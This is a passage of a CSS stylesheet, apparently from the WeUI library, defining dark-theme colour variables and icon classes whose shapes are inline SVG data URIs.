130:#09548f;--weui-INDIGO-BG-90:#2585d1;--weui-LIGHTGREEN-100:#3eb575;--weui-LIGHTGREEN-120:#31905d;--weui-LIGHTGREEN-170:#123522;--weui-LIGHTGREEN-80:#64c390;--weui-LIGHTGREEN-90:#51bc83;--weui-LIGHTGREEN-BG-100:#31905d;--weui-LIGHTGREEN-BG-110:#2c8153;--weui-LIGHTGREEN-BG-130:#226541;--weui-LIGHTGREEN-BG-90:#31905d;--weui-LINK-100:#7d90a9;--weui-LINK-120:#647387;--weui-LINK-170:#252a32;--weui-LINK-80:#97a6ba;--weui-LINK-90:#899ab1;--weui-LINKFINDER-100:#dee9ff;--weui-MATERIAL-ATTACHMENTCOLUMN:rgba(32,32,32,.93);--weui-MATERIAL-NAVIGATIONBAR:hsla(0,0%,7%,.9);--weui-MATERIAL-REGULAR:rgba(37,37,37,.6);--weui-MATERIAL-THICK:rgba(34,34,34,.9);--weui-MATERIAL-THIN:hsla(0,0%,96%,.4);--weui-MATERIAL-TOOLBAR:rgba(35,35,35,.93);--weui-ORANGE-100:#c87d2f;--weui-ORANGE-120:#a06425;--weui-ORANGE-170:#3b250e;--weui-ORANGE-80:#d39758;--weui-ORANGE-90:#cd8943;--weui-ORANGE-BG-100:#bb6000;--weui-ORANGE-BG-110:#a85600;--weui-ORANGE-BG-130:#824300;--weui-ORANGE-BG-90:#c1701a;--weui-ORANGERED-100:#ff6146;--weui-OVERLAY:rgba(0,0,0,.8);--weui-OVERLAY-WHITE:hsla(0,0%,95%,.8);--weui-PURPLE-100:#8183ff;--weui-PURPLE-120:#6768cc;--weui-PURPLE-170:#26274c;--weui-PURPLE-80:#9a9bff;--weui-PURPLE-90:#8d8fff;--weui-PURPLE-BG-100:#6768cc;--weui-PURPLE-BG-110:#5c5db7;--weui-PURPLE-BG-130:#48498f;--weui-PURPLE-BG-90:#7677d1;--weui-RED-100:#fa5151;--weui-RED-120:#c84040;--weui-RED-170:#4b1818;--weui-RED-80:#fb7373;--weui-RED-90:#fa6262;--weui-RED-BG-100:#cf5148;--weui-RED-BG-110:#ba4940;--weui-RED-BG-130:#913832;--weui-RED-BG-90:#d3625a;--weui-SECONDARY-BG:hsla(0,0%,100%,.15);--weui-SEPARATOR-0:hsla(0,0%,100%,.05);--weui-SEPARATOR-1:hsla(0,0%,100%,.15);--weui-STATELAYER-HOVERED:rgba(0,0,0,.02);--weui-STATELAYER-PRESSED:hsla(0,0%,100%,.1);--weui-STATELAYER-PRESSEDSTRENGTHENED:hsla(0,0%,100%,.2);--weui-YELLOW-100:#cc9c00;--weui-YELLOW-120:#a37c00;--weui-YELLOW-170:#3d2f00;--weui-YELLOW-80:#d6af33;--weui-YELLOW-90:#d1a519;--weui-YELLOW-BG-100:#bf9100;--weui-YELLOW-BG-110:#ab8200;--weui-YELLOW-BG-130:#866500;--weui-YELLOW-BG-90:#c59c1a;--weui-FG-HALF:hsla(0,0%,100%,.65);--weui-RED:#fa5151;--weui-ORANGERED:#ff6146;--weui-ORANGE:#c87d2f;--weui-YELLOW:#cc9c00;--weui-GREEN:#74a800;--weui-LIGHTGREEN:#3eb575;--weui-TEXTGREEN:#259c5c;--weui-BRAND:#07c160;--weui-BLUE:#10aeff;--weui-INDIGO:#1196ff;--weui-PURPLE:#8183ff;--weui-LINK:#7d90a9;--weui-REDORANGE:#ff6146;--weui-TAG-BACKGROUND-BLACK:hsla(0,0%,100%,.05);--weui-FG:#fff;--weui-WHITE:hsla(0,0%,100%,.8);--weui-FG-5:hsla(0,0%,100%,.1);--weui-TAG-BACKGROUND-ORANGE:rgba(250,157,59,.1);--weui-TAG-BACKGROUND-GREEN:rgba(6,174,86,.1);--weui-TAG-TEXT-RED:rgba(250,81,81,.6);--weui-TAG-BACKGROUND-RED:rgba(250,81,81,.1);--weui-TAG-BACKGROUND-BLUE:rgba(16,174,255,.1);--weui-TAG-TEXT-ORANGE:rgba(250,157,59,.6);--weui-BG:#000;--weui-TAG-TEXT-GREEN:rgba(6,174,86,.6);--weui-TAG-TEXT-BLUE:rgba(16,174,255,.6);--weui-TAG-TEXT-BLACK:hsla(0,0%,100%,.5)}.wx-root,body{--weui-BG-COLOR-ACTIVE:#ececec}.wx-root[data-weui-theme="dark"],body[data-weui-theme="dark"]{--weui-BG-COLOR-ACTIVE:#373737}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]),body:not([data-weui-theme="light"]){--weui-BG-COLOR-ACTIVE:#373737}}[class*=" weui-icon-"][class*=" weui-icon-"],[class*=" weui-icon-"][class^="weui-icon-"],[class^="weui-icon-"][class*=" weui-icon-"],[class^="weui-icon-"][class^="weui-icon-"]{display:inline-block;vertical-align:middle;font-size:10px;width:2.4em;height:2.4em;-webkit-mask-position:50% 50%;mask-position:50% 50%;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:100%;mask-size:100%;background-color:currentColor}.weui-icon-circle{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%221000%22%20height%3D%221000%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M500%20916.667C269.881%20916.667%2083.333%20730.119%2083.333%20500%2083.333%20269.881%20269.881%2083.333%20500%2083.333c230.119%200%20416.667%20186.548%20416.667%20416.667%200%20230.119-186.548%20416.667-416.667%20416.667zm0-50c202.504%200%20366.667-164.163%20366.667-366.667%200-202.504-164.163-366.667-366.667-366.667-202.504%200-366.667%20164.163-366.667%20366.667%200%20202.504%20164.163%20366.667%20366.667%20366.667z%22%20fill-rule%3D%22evenodd%22%20fill-opacity%3D%22.9%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%221000%22%20height%3D%221000%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M500%20916.667C269.881%20916.667%2083.333%20730.119%2083.333%20500%2083.333%20269.881%20269.881%2083.333%20500%2083.333c230.119%200%20416.667%20186.548%20416.667%20416.667%200%20230.119-186.548%20416.667-416.667%20416.667zm0-50c202.504%200%20366.667-164.163%20366.667-366.667%200-202.504-164.163-366.667-366.667-366.667-202.504%200-366.667%20164.163-366.667%20366.667%200%20202.504%20164.163%20366.667%20366.667%20366.667z%22%20fill-rule%3D%22evenodd%22%20fill-opacity%3D%22.9%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-download{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M11.25%2012.04l-1.72-1.72-1.06%201.06%202.828%202.83a1%201%200%20001.414-.001l2.828-2.828-1.06-1.061-1.73%201.73V7h-1.5v5.04zm0-5.04V2h1.5v5h6.251c.55%200%20.999.446.999.996v13.008a.998.998%200%2001-.996.996H4.996A.998.998%200%20014%2021.004V7.996A1%201%200%20014.999%207h6.251z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M11.25%2012.04l-1.72-1.72-1.06%201.06%202.828%202.83a1%201%200%20001.414-.001l2.828-2.828-1.06-1.061-1.73%201.73V7h-1.5v5.04zm0-5.04V2h1.5v5h6.251c.55%200%20.999.446.999.996v13.008a.998.998%200%2001-.996.996H4.996A.998.998%200%20014%2021.004V7.996A1%201%200%20014.999%207h6.251z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-info{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm-.75-12v7h1.5v-7h-1.5zM12%209a1%201%200%20100-2%201%201%200%20000%202z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm-.75-12v7h1.5v-7h-1.5zM12%209a1%201%200%20100-2%201%201%200%20000%202z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-safe-success{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%201000%201000%22%3E%3Cpath%20d%3D%22M500.9%204.6C315.5%2046.7%20180.4%2093.1%2057.6%20132c0%20129.3.2%20231.7.2%20339.7%200%20304.2%20248.3%20471.6%20443.1%20523.7C695.7%20943.3%20944%20775.9%20944%20471.7c0-108%20.2-210.4.2-339.7C821.4%2093.1%20686.3%2046.7%20500.9%204.6zm248.3%20349.1l-299.7%20295c-2.1%202-5.3%202-7.4-.1L304.4%20506.1c-2-2.1-2.3-5.7-.6-8l18.3-24.9c1.7-2.3%205-2.8%207.2-1l112.2%2086c2.3%201.8%206%201.7%208.1-.1l274.7-228.9c2.2-1.8%205.7-1.7%207.7.3l17%2016.8c2.2%202.1%202.2%205.3.2%207.4z%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20fill%3D%22%23070202%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%201000%201000%22%3E%3Cpath%20d%3D%22M500.9%204.6C315.5%2046.7%20180.4%2093.1%2057.6%20132c0%20129.3.2%20231.7.2%20339.7%200%20304.2%20248.3%20471.6%20443.1%20523.7C695.7%20943.3%20944%20775.9%20944%20471.7c0-108%20.2-210.4.2-339.7C821.4%2093.1%20686.3%2046.7%20500.9%204.6zm248.3%20349.1l-299.7%20295c-2.1%202-5.3%202-7.4-.1L304.4%20506.1c-2-2.1-2.3-5.7-.6-8l18.3-24.9c1.7-2.3%205-2.8%207.2-1l112.2%2086c2.3%201.8%206%201.7%208.1-.1l274.7-228.9c2.2-1.8%205.7-1.7%207.7.3l17%2016.8c2.2%202.1%202.2%205.3.2%207.4z%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20fill%3D%22%23070202%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-safe-warn{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%201000%201000%22%3E%3Cpath%20d%3D%22M500.9%204.5c-185.4%2042-320.4%2088.4-443.2%20127.3%200%20129.3.2%20231.7.2%20339.6%200%20304.1%20248.2%20471.4%20443%20523.6%20194.7-52.2%20443-219.5%20443-523.6%200-107.9.2-210.3.2-339.6C821.3%2092.9%20686.2%2046.5%20500.9%204.5zm-26.1%20271.1h52.1c5.8%200%2010.3%204.7%2010.1%2010.4l-11.6%20313.8c-.1%202.8-2.5%205.2-5.4%205.2h-38.2c-2.9%200-5.3-2.3-5.4-5.2L464.8%20286c-.2-5.8%204.3-10.4%2010-10.4zm26.1%20448.3c-20.2%200-36.5-16.3-36.5-36.5s16.3-36.5%2036.5-36.5%2036.5%2016.3%2036.5%2036.5-16.4%2036.5-36.5%2036.5z%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20fill%3D%22%23020202%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%201000%201000%22%3E%3Cpath%20d%3D%22M500.9%204.5c-185.4%2042-320.4%2088.4-443.2%20127.3%200%20129.3.2%20231.7.2%20339.6%200%20304.1%20248.2%20471.4%20443%20523.6%20194.7-52.2%20443-219.5%20443-523.6%200-107.9.2-210.3.2-339.6C821.3%2092.9%20686.2%2046.5%20500.9%204.5zm-26.1%20271.1h52.1c5.8%200%2010.3%204.7%2010.1%2010.4l-11.6%20313.8c-.1%202.8-2.5%205.2-5.4%205.2h-38.2c-2.9%200-5.3-2.3-5.4-5.2L464.8%20286c-.2-5.8%204.3-10.4%2010-10.4zm26.1%20448.3c-20.2%200-36.5-16.3-36.5-36.5s16.3-36.5%2036.5-36.5%2036.5%2016.3%2036.5%2036.5-16.4%2036.5-36.5%2036.5z%22%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20fill%3D%22%23020202%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-success{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm-1.177-7.86l-2.765-2.767L7%2012.431l3.119%203.121a1%201%200%20001.414%200l5.952-5.95-1.062-1.062-5.6%205.6z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm-1.177-7.86l-2.765-2.767L7%2012.431l3.119%203.121a1%201%200%20001.414%200l5.952-5.95-1.062-1.062-5.6%205.6z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-success-circle{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6zm-1.172-6.242l5.809-5.808.848.849-5.95%205.95a1%201%200%2001-1.414%200L7%2012.426l.849-.849%202.98%202.98z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6zm-1.172-6.242l5.809-5.808.848.849-5.95%205.95a1%201%200%2001-1.414%200L7%2012.426l.849-.849%202.98%202.98z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-success-no-circle{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M8.657%2018.435L3%2012.778l1.414-1.414%204.95%204.95L20.678%205l1.414%201.414-12.02%2012.021a1%201%200%2001-1.415%200z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M8.657%2018.435L3%2012.778l1.414-1.414%204.95%204.95L20.678%205l1.414%201.414-12.02%2012.021a1%201%200%2001-1.415%200z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-waiting{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12.75%2011.38V6h-1.5v6l4.243%204.243%201.06-1.06-3.803-3.804zM12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12.75%2011.38V6h-1.5v6l4.243%204.243%201.06-1.06-3.803-3.804zM12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-waiting-circle{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12.6%2011.503l3.891%203.891-.848.849L11.4%2012V6h1.2v5.503zM12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12.6%2011.503l3.891%203.891-.848.849L11.4%2012V6h1.2v5.503zM12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-warn{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm-.763-15.864l.11%207.596h1.305l.11-7.596h-1.525zm.759%2010.967c.512%200%20.902-.383.902-.882%200-.5-.39-.882-.902-.882a.878.878%200%2000-.896.882c0%20.499.396.882.896.882z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm-.763-15.864l.11%207.596h1.305l.11-7.596h-1.525zm.759%2010.967c.512%200%20.902-.383.902-.882%200-.5-.39-.882-.902-.882a.878.878%200%2000-.896.882c0%20.499.396.882.896.882z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-outlined-warn{-webkit-mask-image:url("data:image/svg+xml,%3Csvg width='24' height='24' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M2 12C2 17.5228 6.47715 22 12 22C17.5228 22 22 17.5228 22 12C22 6.47715 17.5228 2 12 2C6.47715 2 2 6.47715 2 12ZM20.8 12C20.8 16.8601 16.8601 20.8 12 20.8C7.13989 20.8 3.2 16.8601 3.2 12C3.2 7.13989 7.13989 3.2 12 3.2C16.8601 3.2 20.8 7.13989 20.8 12ZM12.6592 6.43115L12.5713 13.4917H11.4287L11.3408 6.43115H12.6592ZM11.165 16.2383C11.165 16.707 11.5312 17.0732 12 17.0732C12.4761 17.0732 12.835 16.707 12.835 16.2383C12.835 15.7622 12.4761 15.4033 12 15.4033C11.5312 15.4033 11.165 15.7622 11.165 16.2383Z' fill='black' /%3E%3C/svg%3E%0A");mask-image:url("data:image/svg+xml,%3Csvg width='24' height='24' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M2 12C2 17.5228 6.47715 22 12 22C17.5228 22 22 17.5228 22 12C22 6.47715 17.5228 2 12 2C6.47715 2 2 6.47715 2 12ZM20.8 12C20.8 16.8601 16.8601 20.8 12 20.8C7.13989 20.8 3.2 16.8601 3.2 12C3.2 7.13989 7.13989 3.2 12 3.2C16.8601 3.2 20.8 7.13989 20.8 12ZM12.6592 6.43115L12.5713 13.4917H11.4287L11.3408 6.43115H12.6592ZM11.165 16.2383C11.165 16.707 11.5312 17.0732 12 17.0732C12.4761 17.0732 12.835 16.707 12.835 16.2383C12.835 15.7622 12.4761 15.4033 12 15.4033C11.5312 15.4033 11.165 15.7622 11.165 16.2383Z' fill='black' /%3E%3C/svg%3E%0A")}.weui-icon-info-circle{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6zM11.4%2010h1.2v7h-1.2v-7zm.6-1a1%201%200%20110-2%201%201%200%20010%202z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6zM11.4%2010h1.2v7h-1.2v-7zm.6-1a1%201%200%20110-2%201%201%200%20010%202z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-cancel{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cg%20fill-rule%3D%22evenodd%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6z%22%20fill-rule%3D%22nonzero%22%2F%3E%3Cpath%20d%3D%22M12.849%2012l3.11%203.111-.848.849L12%2012.849l-3.111%203.11-.849-.848L11.151%2012l-3.11-3.111.848-.849L12%2011.151l3.111-3.11.849.848L12.849%2012z%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cg%20fill-rule%3D%22evenodd%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm0-1.2a8.8%208.8%200%20100-17.6%208.8%208.8%200%20000%2017.6z%22%20fill-rule%3D%22nonzero%22%2F%3E%3Cpath%20d%3D%22M12.849%2012l3.11%203.111-.848.849L12%2012.849l-3.111%203.11-.849-.848L11.151%2012l-3.11-3.111.848-.849L12%2011.151l3.111-3.11.849.848L12.849%2012z%22%2F%3E%3C%2Fg%3E%3C%2Fsvg%3E)}.weui-icon-search{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M16.31%2015.561l4.114%204.115-.848.848-4.123-4.123a7%207%200%2011.857-.84zM16.8%2011a5.8%205.8%200%2010-11.6%200%205.8%205.8%200%200011.6%200z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M16.31%2015.561l4.114%204.115-.848.848-4.123-4.123a7%207%200%2011.857-.84zM16.8%2011a5.8%205.8%200%2010-11.6%200%205.8%205.8%200%200011.6%200z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-clear{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M13.06%2012l3.006-3.005-1.06-1.06L12%2010.938%208.995%207.934l-1.06%201.06L10.938%2012l-3.005%203.005%201.06%201.06L12%2013.062l3.005%203.005%201.06-1.06L13.062%2012zM12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M13.06%2012l3.006-3.005-1.06-1.06L12%2010.938%208.995%207.934l-1.06%201.06L10.938%2012l-3.005%203.005%201.06%201.06L12%2013.062l3.005%203.005%201.06-1.06L13.062%2012zM12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-back{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm1.999-6.563L10.68%2012%2014%208.562%2012.953%207.5%209.29%2011.277a1.045%201.045%200%20000%201.446l3.663%203.777L14%2015.437z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M12%2022C6.477%2022%202%2017.523%202%2012S6.477%202%2012%202s10%204.477%2010%2010-4.477%2010-10%2010zm1.999-6.563L10.68%2012%2014%208.562%2012.953%207.5%209.29%2011.277a1.045%201.045%200%20000%201.446l3.663%203.777L14%2015.437z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-delete{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M6.774%206.4l.812%2013.648a.8.8%200%2000.798.752h7.232a.8.8%200%2000.798-.752L17.226%206.4H6.774zm11.655%200l-.817%2013.719A2%202%200%200115.616%2022H8.384a2%202%200%2001-1.996-1.881L5.571%206.4H3.5v-.7a.5.5%200%2001.5-.5h16a.5.5%200%2001.5.5v.7h-2.071zM14%203a.5.5%200%2001.5.5v.7h-5v-.7A.5.5%200%200110%203h4zM9.5%209h1.2l.5%209H10l-.5-9zm3.8%200h1.2l-.5%209h-1.2l.5-9z%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M6.774%206.4l.812%2013.648a.8.8%200%2000.798.752h7.232a.8.8%200%2000.798-.752L17.226%206.4H6.774zm11.655%200l-.817%2013.719A2%202%200%200115.616%2022H8.384a2%202%200%2001-1.996-1.881L5.571%206.4H3.5v-.7a.5.5%200%2001.5-.5h16a.5.5%200%2001.5.5v.7h-2.071zM14%203a.5.5%200%2001.5.5v.7h-5v-.7A.5.5%200%200110%203h4zM9.5%209h1.2l.5%209H10l-.5-9zm3.8%200h1.2l-.5%209h-1.2l.5-9z%22%2F%3E%3C%2Fsvg%3E)}.weui-icon-success-no-circle-thin{-webkit-mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M8.864%2016.617l-5.303-5.303-1.061%201.06%205.657%205.657a1%201%200%20001.414%200L21.238%206.364l-1.06-1.06L8.864%2016.616z%22%20fill-rule%3D%22evenodd%22%2F%3E%3C%2Fsvg%3E);mask-image:url(data:image/svg+xml,%3Csvg%20width%3D%2224%22%20height%3D%2224%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20d%3D%22M8.864%2016.617l-5.303-5.303-1.061%201.06%205.657%205.657a1%201%200%20001.414%200L21.238%206.364l-1.06-1.06L8.864%2016.616z%22%20fill-rule%3D%22evenodd%22%2F%3E%